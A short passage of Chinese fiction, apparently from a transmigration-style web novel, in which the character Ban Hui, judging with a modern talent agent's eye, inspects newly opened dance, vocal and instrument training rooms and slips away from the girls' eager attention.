在姑娘们的强烈要求下,训练室前几日又重新翻出了两间,原来的那间用作舞室,新开辟的两间一间做声乐厅,一间做清弹室。 般茴依次去了一趟,姑娘们见她来了热情十分高亢,纷纷要将训练成果展示给她看,般茴一一看过,凭现代经纪人的眼光来看基本没什么错处。 给出客观评价后,姑娘们更加热情,那架势,几乎是把她的话奉做金口玉律。般茴难以招架,寻个由头这才出来。 无意扫过窗子,就见小小云雀冲破天际,振翅直往天边掠去。